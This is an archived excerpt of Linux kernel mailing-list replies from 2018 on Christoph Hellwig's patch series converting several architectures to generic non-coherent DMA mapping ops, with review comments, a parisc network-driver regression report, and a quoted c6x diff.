To: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>, <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri May 11 15:54:32 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1fH8V9-0000Pd-6g
	for glki-iommu@m.gmane.org; Fri, 11 May 2018 15:54:27 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id D84A918E6;
	Fri, 11 May 2018 13:56:37 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id D295318D4
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 11 May 2018 13:56:36 +0000 (UTC)
X-Greylist: domain auto-whitelisted by SQLgrey-1.7.6
Original-Received: from huawei.com (unknown [45.249.212.32])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id BB8246AE
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 11 May 2018 13:56:35 +0000 (UTC)
Original-Received: from DGGEMS408-HUB.china.huawei.com (unknown [172.30.72.59])
	by Forcepoint Email with ESMTP id 682E0A3211A5F;
	Fri, 11 May 2018 21:56:31 +0800 (CST)
Original-Received: from [127.0.0.1] (10.47.90.114) by DGGEMS408-HUB.china.huawei.com
	(10.3.19.208) with Microsoft SMTP Server id 14.3.361.1; Fri, 11 May 2018
	21:56:30 +0800
In-Reply-To: <20180511075945.16548-5-hch-jcswGhMUV9g@public.gmane.org>
X-Originating-IP: [10.47.90.114]
X-CFilter-Loop: Reflected
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:24198 gmane.linux.kernel.cross-arch:44039 gmane.linux.kernel.arc:3886 gmane.linux.ports.parisc:28617 gmane.linux.ports.sh.devel:57024 gmane.linux.ports.hexagon:1720 gmane.linux.kernel:2764489 gmane.linux.ports.alpha:5045 gmane.linux.ports.sparc:27872 gmane.linux.ports.arm.kernel:649254
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/24198>

On 11/05/2018 08:59, Christoph Hellwig wrote:
> Switch to the generic noncoherent direct mapping implementation for
> the nommu dma map implementation.
>
> Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
> ---
>  arch/arc/Kconfig                |   1 +
>  arch/arm/Kconfig                |   4 +
>  arch/arm/mm/dma-mapping-nommu.c | 139 +++++---------------------------
>  3 files changed, 23 insertions(+), 121 deletions(-)
>
> diff --git a/arch/arc/Kconfig b/arch/arc/Kconfig
> index 89d47eac18b2..3a492a9aeaad 100644
> --- a/arch/arc/Kconfig
> +++ b/arch/arc/Kconfig
> @@ -9,6 +9,7 @@
>  config ARC
>  	def_bool y
>  	select ARC_TIMERS
> +	select ARCH_HAS_SYNC_DMA_FOR_DEVICE
>  	select ARCH_HAS_SYNC_DMA_FOR_CPU
>  	select ARCH_HAS_SYNC_DMA_FOR_DEVICE

I guess that this arc change is here by accident, no? And isn't 
ARCH_HAS_SYNC_DMA_FOR_DEVICE already selected (by 3/20)?

>  	select ARCH_HAS_SG_CHAIN
> diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
> index c43f5bb55ac8..76ddd0064f87 100644
> --- a/arch/arm/Kconfig
> +++ b/arch/arm/Kconfig


From - Thu Nov 08 21:41:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.ports.arm.kernel
Subject: Re: common non-cache coherent direct dma mapping ops
Date: Sun, 13 May 2018 15:26:20 +0200
Lines: 42
Approved: news@gmane.org
Message-ID: <1834767f-0430-8f7f-61b1-560353cd6e5f@gmx.de>
References: <20180511075945.16548-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1526217889 20253 195.159.176.226 (13 May 2018 13:24:49 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 13 May 2018 13:24:49 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.2
Cc: linux-arch@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
 Vincent Chen <deanbo422@gmail.com>, linux-c6x-dev@linux-c6x.org,
 linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
 linux-hexagon@vger.kernel.org, linux-kernel@vger.kernel.org,
 linux-m68k@lists.linux-m68k.org, openrisc@lists.librecores.org,
 Greentime Hu <green.hu@gmail.com>, linux-alpha@vger.kernel.org,
 sparclinux@vger.kernel.org, nios2-dev@lists.rocketboards.org,
 linux-snps-arc@lists.infradead.org, linux-arm-kernel@lists.infradead.org
To: Christoph Hellwig <hch@lst.de>, iommu@lists.linux-foundation.org,
 James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Sun May 13 15:24:43 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1fHqzT-00059O-KV
	for gla-linux-snps-arc@m.gmane.org; Sun, 13 May 2018 15:24:43 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:Date:
	Message-ID:From:References:To:Subject:Reply-To:Content-ID:Content-Description
	:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=0hNvSmtwMEDBG3rCWX9FYRAN8GfrN+e7vaH0/yeG61s=; b=l32yFaSF5/lsn1
	UnPm/XaA+hkwNyd61JOi6zDO8qTcegJSD/e+5rgvGb4n/IwmE24Tkq2ewoiz3r/9EMrKqiC0xSPA1
	BQjpQSXtFvlDKHrA18BipdvsJee4STH4j3xslbqiVmyX1yTdL8VPjdwX2wTyCn/5hTizyB4sil9AI
	zIlgC3bEDMy1rq6LsB70J3QF7EhDzhla3P8qQ4ZCKGMTFjYyZUEdk96817Hhou4CkOGpGfqhqbIip
	8Ut6rp6hIBitpZc/7DUXS0FmBdI9WlgQs6yK9UqJZ+g+i6hnphTTbRQOrEqFfdbi1xvqzdRd48zcM
	d+KKPKCjTzXlNB8doM2A==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fHr1Z-0000r1-Hm; Sun, 13 May 2018 13:26:53 +0000
Original-Received: from mout.gmx.net ([212.227.17.22])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1fHr1V-0000pU-PM; Sun, 13 May 2018 13:26:51 +0000
Original-Received: from [192.168.20.60] ([89.247.32.230]) by mail.gmx.com (mrgmx103
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0MDR21-1f3lTb1TaP-00Go6r; Sun, 13
 May 2018 15:26:26 +0200
In-Reply-To: <20180511075945.16548-1-hch@lst.de>
Content-Language: en-US
X-Provags-ID: V03:K1:20QWLIhFXyRzbujUp8MnwFYNwBnQjTSC3Od6k/1r6d54moMZEd+
 rq9NHZtRAHy7zFaLtMWjj+9dMaLAQh2wGIs9ROkUw1hV1CraD4thVXHYRBCM3fjX5glb4gm
 /PLoW5QkQxS1adc1l2gjiNj6qmSW0R0TqcAMAifI8YuWkWx9UvNiLOs+ZL4zT3pnio7NhFw
 AdJ/nh6pshCLan8Yw8hMA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:JFNPQCVINME=:Hwo7z3keqp6255cKnXUNz4
 whYHnbcUogtlkgbYHbUeuFSqYeUR1C9EL+zfMv3QM7C7t5XIDsdkdeknflP8K1nYxQm4C4V9w
 YRDT+pihsoF/5sQ8zgINAU+BKPl1EQDKl9JMWqFcVAuvPgnp01qz5lhhUJ2bXQcwt7MLFySd7
 n1dSpyoEZBjvHdbaojzh6GmK7SgrJqryciX4zwuJ5RHhFPZ/S1BpNxR13kXqyWiVIfVzoSnYd
 lzdT2RqLpP9UslQB2fw4gu9oVgektX5hWcwBzXCS7fnK0Z2TNYfHsZjKLzJZGShyJV012Qcjj
 4/X7NSFwUvuJorWCvCmgiPpWY+Y+Zy4B6f9QTiBWs4weNs2u1O0qluVNGpPJbVBM+ErXI9GbO
 qslFE5SHDVpTHsEqJhs/QntNuiPyEKgJ+snzWSpmdiZs/aK6+Eib1YDjTZInzehH06Z9ONPNw
 xwq9/ErHw00O1opb+qNW8wFjfWKrUTNI3HZTPfTyYTyFyq19r+ljFM4qla1ID0TWpWDE/fPzx
 WtOUEpjjBHfx/UIMPB8C7XF23k7bEmNaVo2iw3oJsMXrTLnv9vQFm1P4Znbs4/WStbt/c7Qf2
 +gv/NvQEpr8H5woEdj3HcUT3fNpwJskDiIBbWMGwKhPmZ/p8b8A4HTRYEzKV/A3H0yVL+kTDx
 yO0Vf32fQgj7nhO58Z+rPnN8P3CtJe/U9casZMaFZmk7E1aMmGSQ/aX/FOOIho6FDBGF8X/td
 SmjDL18V8Xa19++vF18XoJgujWVo6bWRK0NKM8dgFEtROUl7FZP3EFuHLcI16Wi+3DOi4afC 
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180513_062650_145587_5A6F5B27 
X-CRM114-Status: GOOD (  14.17  )
X-Spam-Score: -0.7 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.7 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.7 RCVD_IN_DNSWL_LOW      RBL: Sender listed at http://www.dnswl.org/, low
 trust [212.227.17.22 listed in list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider
 (deller[at]gmx.de)
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3887 gmane.linux.kernel.iommu:24283 gmane.linux.kernel.cross-arch:44063 gmane.linux.ports.parisc:28618 gmane.linux.ports.sh.devel:57029 gmane.linux.ports.hexagon:1722 gmane.linux.kernel:2765127 gmane.linux.ports.alpha:5046 gmane.linux.ports.sparc:27874 gmane.linux.ports.arm.kernel:649465
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3887>

On 11.05.2018 09:59, Christoph Hellwig wrote:
> this series continues consolidating the dma-mapping code, with a focus
> on architectures that do not (always) provide cache coherence for DMA.
> Three architectures (arm, mips and powerpc) are still left to be
> converted later due to complexity of their dma ops selection.
> 
> The dma-noncoherent ops calls the dma-direct ops for the actual
> translation of streaming mappins and allow the architecture to provide
> any cache flushing required for cpu to device and/or device to cpu
> ownership transfers.  The dma coherent allocator is for now still left
> entirely to architecture supplied implementations due the amount of
> variations.  Hopefully we can do some consolidation for them later on
> as well.
> 
> A lot of architectures are currently doing very questionable things
> in their dma mapping routines, which are documented in the changelogs
> for each patch.  Please review them very careful and correct me on
> incorrect assumptions.
> 
> Because this series sits on top of two previously submitted series
> a git tree might be useful to actually test it.  It is provided here:
> 
>     git://git.infradead.org/users/hch/misc.git generic-dma-noncoherent
> 
> Gitweb:
> 
>     http://git.infradead.org/users/hch/misc.git/shortlog/refs/heads/generic-dma-noncoherent
> 
> Changes since RFC:
>  - fix a typo accidentally disabling the device to cpu transfer sync
>  - fixed a few compile failures


I tested it again on parisc (this time again on top of git head) and it still breaks
the same way as I reported in my mail on April 21st: the lasi82956 network driver works
unreliable. NIC gets IP, but ping doesn't work.
See drivers/net/ethernet/i825xx/lasi_82596.c, it uses dma*sync() functions.

See comment in James mail from April 21st too:
-> you just made every 32 bit parisc system unnecessarily use non-coherent.

Helge

From - Thu Nov 08 21:41:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mark Salter <msalter-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.ports.arm.kernel
Subject: Re: [Linux-c6x-dev] [PATCH 05/20] c6x: use generic dma_noncoherent_ops
Date: Mon, 14 May 2018 20:25:52 -0400
Organization: Red Hat, Inc
Lines: 319
Approved: news@gmane.org
Message-ID: <f3a126c511ca75869e3f21dc60364e6a89cda90b.camel@redhat.com>
References: <20180511075945.16548-1-hch@lst.de>
	<20180511075945.16548-6-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1526343833 25106 195.159.176.226 (15 May 2018 00:23:53 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 15 May 2018 00:23:53 +0000 (UTC)
Cc: linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org,
	Greentime Hu <green.hu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, nios2-dev-g9ZBwUv/Ih/yUk5EbOjzuce+I+R0W71w@public.gmane.org,
	Vincent Chen <deanbo422-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
To: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>, iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Tue May 15 02:23:47 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1fINko-0006PN-Qa
	for glki-iommu@m.gmane.org; Tue, 15 May 2018 02:23:47 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 4BE82186B;
	Tue, 15 May 2018 00:25:57 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 44D90185D
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Tue, 15 May 2018 00:25:56 +0000 (UTC)
X-Greylist: domain auto-whitelisted by SQLgrey-1.7.6
Original-Received: from mx1.redhat.com (mx3-rdu2.redhat.com [66.187.233.73])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id 1FD67621
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Tue, 15 May 2018 00:25:55 +0000 (UTC)
Original-Received: from smtp.corp.redhat.com (int-mx06.intmail.prod.int.rdu2.redhat.com
	[10.11.54.6])
	(using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx1.redhat.com (Postfix) with ESMTPS id 172DE406F125;
	Tue, 15 May 2018 00:25:54 +0000 (UTC)
Original-Received: from ovpn-121-69.rdu2.redhat.com (ovpn-121-69.rdu2.redhat.com
	[10.10.121.69])
	by smtp.corp.redhat.com (Postfix) with ESMTP id BA57C215CDA7;
	Tue, 15 May 2018 00:25:52 +0000 (UTC)
In-Reply-To: <20180511075945.16548-6-hch-jcswGhMUV9g@public.gmane.org>
X-Scanned-By: MIMEDefang 2.78 on 10.11.54.6
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16
	(mx1.redhat.com [10.11.55.5]);
	Tue, 15 May 2018 00:25:54 +0000 (UTC)
X-Greylist: inspected by milter-greylist-4.5.16 (mx1.redhat.com [10.11.55.5]);
	Tue, 15 May 2018 00:25:54 +0000 (UTC) for IP:'10.11.54.6'
	DOMAIN:'int-mx06.intmail.prod.int.rdu2.redhat.com'
	HELO:'smtp.corp.redhat.com' FROM:'msalter-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org' RCPT:''
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:24321 gmane.linux.kernel.cross-arch:44147 gmane.linux.kernel.arc:3888 gmane.linux.ports.parisc:28619 gmane.linux.ports.sh.devel:57034 gmane.linux.ports.hexagon:1723 gmane.linux.kernel:2766846 gmane.linux.ports.alpha:5047 gmane.linux.ports.sparc:27875 gmane.linux.ports.arm.kernel:649915
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/24321>

On Fri, 2018-05-11 at 09:59 +0200, Christoph Hellwig wrote:
> Switch to the generic noncoherent direct mapping implementation.
> 
> Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
> ---
>  arch/c6x/Kconfig                   |   3 +
>  arch/c6x/include/asm/Kbuild        |   1 +
>  arch/c6x/include/asm/dma-mapping.h |  28 ------
>  arch/c6x/include/asm/setup.h       |   2 +
>  arch/c6x/kernel/Makefile           |   2 +-
>  arch/c6x/kernel/dma.c              | 138 -----------------------------
>  arch/c6x/mm/dma-coherent.c         |  40 ++++++++-
>  7 files changed, 44 insertions(+), 170 deletions(-)
>  delete mode 100644 arch/c6x/include/asm/dma-mapping.h
>  delete mode 100644 arch/c6x/kernel/dma.c
> 
> diff --git a/arch/c6x/Kconfig b/arch/c6x/Kconfig
> index 8c088b96e372..bf59855628ac 100644
> --- a/arch/c6x/Kconfig
> +++ b/arch/c6x/Kconfig
> @@ -6,7 +6,10 @@
>  
>  config C6X
>  	def_bool y
> +	select ARCH_HAS_SYNC_DMA_FOR_CPU
> +	select ARCH_HAS_SYNC_DMA_FOR_DEVICE
>  	select CLKDEV_LOOKUP
> +	select DMA_NONCOHERENT_OPS
>  	select GENERIC_ATOMIC64
>  	select GENERIC_IRQ_SHOW
>  	select HAVE_ARCH_TRACEHOOK
> diff --git a/arch/c6x/include/asm/Kbuild b/arch/c6x/include/asm/Kbuild
> index fd4c840de837..434600e47662 100644
> --- a/arch/c6x/include/asm/Kbuild
> +++ b/arch/c6x/include/asm/Kbuild
> @@ -5,6 +5,7 @@ generic-y += current.h
>  generic-y += device.h
>  generic-y += div64.h
>  generic-y += dma.h
> +generic-y += dma-mapping.h
>  generic-y += emergency-restart.h
>  generic-y += exec.h
>  generic-y += extable.h
> diff --git a/arch/c6x/include/asm/dma-mapping.h b/arch/c6x/include/asm/dma-mapping.h
> deleted file mode 100644
> index 05daf1038111..000000000000
> --- a/arch/c6x/include/asm/dma-mapping.h
> +++ /dev/null
> @@ -1,28 +0,0 @@
> -/*
> - *  Port on Texas Instruments TMS320C6x architecture
> - *
> - *  Copyright (C) 2004, 2009, 2010, 2011 Texas Instruments Incorporated
> - *  Author: Aurelien Jacquiot <aurelien.jacquiot-l0cyMroinI0@public.gmane.org>
> - *
> - *  This program is free software; you can redistribute it and/or modify
> - *  it under the terms of the GNU General Public License version 2 as
> - *  published by the Free Software Foundation.
> - *
> - */
> -#ifndef _ASM_C6X_DMA_MAPPING_H
> -#define _ASM_C6X_DMA_MAPPING_H
> -
> -extern const struct dma_map_ops c6x_dma_ops;
> -
> -static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
> -{
> -	return &c6x_dma_ops;
> -}
> -
> -extern void coherent_mem_init(u32 start, u32 size);
> -void *c6x_dma_alloc(struct device *dev, size_t size, dma_addr_t *handle,
> -		gfp_t gfp, unsigned long attrs);
> -void c6x_dma_free(struct device *dev, size_t size, void *vaddr,
> -		dma_addr_t dma_handle, unsigned long attrs);
> -
> -#endif	/* _ASM_C6X_DMA_MAPPING_H */
> diff --git a/arch/c6x/include/asm/setup.h b/arch/c6x/include/asm/setup.h
> index 852afb209afb..350f34debb19 100644
> --- a/arch/c6x/include/asm/setup.h
> +++ b/arch/c6x/include/asm/setup.h
> @@ -28,5 +28,7 @@ extern unsigned char c6x_fuse_mac[6];
>  extern void machine_init(unsigned long dt_ptr);
>  extern void time_init(void);
>  
> +extern void coherent_mem_init(u32 start, u32 size);
> +
>  #endif /* !__ASSEMBLY__ */
>  #endif /* _ASM_C6X_SETUP_H */
> diff --git a/arch/c6x/kernel/Makefile b/arch/c6x/kernel/Makefile
> index 02f340d7b8fe..fbe74174de87 100644
> --- a/arch/c6x/kernel/Makefile
> +++ b/arch/c6x/kernel/Makefile
> @@ -8,6 +8,6 @@ extra-y := head.o vmlinux.lds
>  obj-y := process.o traps.o irq.o signal.o ptrace.o
>  obj-y += setup.o sys_c6x.o time.o devicetree.o
>  obj-y += switch_to.o entry.o vectors.o c6x_ksyms.o
> -obj-y += soc.o dma.o
> +obj-y += soc.o
>  
>  obj-$(CONFIG_MODULES)           += module.o
> diff --git a/arch/c6x/kernel/dma.c b/arch/c6x/kernel/dma.c
> deleted file mode 100644
> index 31e1a9ec3a9c..000000000000
> --- a/arch/c6x/kernel/dma.c
> +++ /dev/null
> @@ -1,138 +0,0 @@
> -/*
> - *  Copyright (C) 2011 Texas Instruments Incorporated
> - *  Author: Mark Salter <msalter-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
> - *
> - *  This program is free software; you can redistribute it and/or modify
> - *  it under the terms of the GNU General Public License version 2 as
> - *  published by the Free Software Foundation.
> - */
> -#include <linux/module.h>
> -#include <linux/dma-mapping.h>
> -#include <linux/mm.h>
> -#include <linux/mm_types.h>
> -#include <linux/scatterlist.h>
> -
> -#include <asm/cacheflush.h>
> -
> -static void c6x_dma_sync(dma_addr_t handle, size_t size,
> -			 enum dma_data_direction dir)
> -{
> -	unsigned long paddr = handle;
> -
> -	BUG_ON(!valid_dma_direction(dir));
> -
> -	switch (dir) {
> -	case DMA_FROM_DEVICE:
> -		L2_cache_block_invalidate(paddr, paddr + size);
> -		break;
> -	case DMA_TO_DEVICE:
> -		L2_cache_block_writeback(paddr, paddr + size);
> -		break;
> -	case DMA_BIDIRECTIONAL:
> -		L2_cache_block_writeback_invalidate(paddr, paddr + size);
> -		break;
> -	default:
> -		break;
> -	}
> -}
> -
> -static dma_addr_t c6x_dma_map_page(struct device *dev, struct page *page,
> -		unsigned long offset, size_t size, enum dma_data_direction dir,
> -		unsigned long attrs)
> -{
> -	dma_addr_t handle = virt_to_phys(page_address(page) + offset);
> -
> -	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
> -		c6x_dma_sync(handle, size, dir);
> -
> -	return handle;
> -}
> -
> -static void c6x_dma_unmap_page(struct device *dev, dma_addr_t handle,
> -		size_t size, enum dma_data_direction dir, unsigned long attrs)
> -{
> -	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
> -		c6x_dma_sync(handle, size, dir);
> -}
> -
> -static int c6x_dma_map_sg(struct device *dev, struct scatterlist *sglist,
> -		int nents, enum dma_data_direction dir, unsigned long attrs)
> -{
> -	struct scatterlist *sg;
